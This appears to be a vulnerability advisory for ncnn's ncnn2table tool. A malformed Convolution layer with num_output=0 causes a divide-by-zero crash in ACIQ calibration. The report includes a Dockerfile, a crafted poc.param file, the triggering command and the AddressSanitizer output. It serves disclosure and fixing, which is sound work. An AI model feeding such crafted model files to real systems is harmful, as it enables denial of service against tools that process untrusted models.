ACIQ Calibration Divide-By-Zero Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2table.cpp:1192 in QuantNet::quantize_ACIQ()
Sanitizer verdict: FPE on unknown address 0x64a57375edbc (pc 0x64a57375edbc bp 0x7fff53558570 sp 0x7fff53557be0 T0)

Summary

A model that declares a Convolution with num_output=0 makes the ACIQ calibration path divide by zero, killing ncnn2table with SIGFPE before any quantization table is written. The attacker supplies the .param/.bin pair; the entry point is ncnn2table inparam inbin imagelist outtable ... method=aciq, whose main() loads the model and dispatches to QuantNet::quantize_ACIQ(). Impact is limited to termination of the calibration process — no memory is read or written out of bounds.

Detail

quantize_ACIQ walks the convolution layers collected from the loaded model and, for each one, splits the flat weight blob into per-output-channel slices. The slice length is weight_data_size / num_output, computed directly from two fields the model file controls (Convolution parameter 0 is num_output, parameter 6 is weight_data_size). The divisor is used without any zero or sign check:

// tools/quantize/ncnn2table.cpp:1180
            if (layer->type == "Convolution")
            {
                const ncnn::Convolution* convolution = (const ncnn::Convolution*)layer;

                const int num_output = convolution->num_output;
                const int kernel_w = convolution->kernel_w;
                const int kernel_h = convolution->kernel_h;
                const int dilation_w = convolution->dilation_w;
                const int dilation_h = convolution->dilation_h;
                const int stride_w = convolution->stride_w;
                const int stride_h = convolution->stride_h;

                const int weight_data_size_output = convolution->weight_data_size / num_output;

The PoC's layer record is Convolution zero_output 1 1 data output 0=0 1=1 2=1 3=1 4=0 5=0 6=1 19=1: num_output is 0 and weight_data_size is 1. Field 19=1 selects the dynamic-weight form, which makes Convolution::load_model skip loading a weight blob, so net.load_param, net.load_model and net.init all succeed and the malformed layer survives into the calibration list.

Reaching line 1192 additionally requires use_calibration_dataset to be set, which the non-empty images.txt provides, and method=aciq on the command line to dispatch to quantize_ACIQ() rather than the KL or EQ path. The integer division 1 / 0 then raises SIGFPE on x86, which ASan reports as an FPE at tools/quantize/ncnn2table.cpp:1192 and the process aborts. A negative num_output reaches the same expression, and the subsequent weight_scales[i].create(num_output) and range() calls are equally unguarded.

Reproduce

mkdir -p ncnn-poc-aciq-calibration-divide-by-zero-denial-of-service && cd ncnn-poc-aciq-calibration-divide-by-zero-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input data 0 1 data
Convolution conv 1 1 data out 0=0 6=1 19=1
POC_EOF

cat > images.txt <<'POC_EOF'
x
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2table poc.param null images.txt poc.table shape=1,1,3 type=1 method=aciq

AddressSanitizer output:

fopen null failed
mean = 
norm = 
shape = [1,1,3]
pixel = 
thread = 24
method = aciq
---------------------------------------
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5d7cd349cdbc (pc 0x5d7cd349cdbc bp 0x7ffe210b06b0 sp 0x7ffe210afd20 T0)
    #0 0x5d7cd349cdbc in QuantNet::quantize_ACIQ() /ncnn/tools/quantize/ncnn2table.cpp:1192
    #1 0x5d7cd34bd6e1 in main /ncnn/tools/quantize/ncnn2table.cpp:2233
    #2 0x7d0e4c6071c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x7d0e4c60728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x5d7cd3475be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/tools/quantize/ncnn2table.cpp:1192 in QuantNet::quantize_ACIQ()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst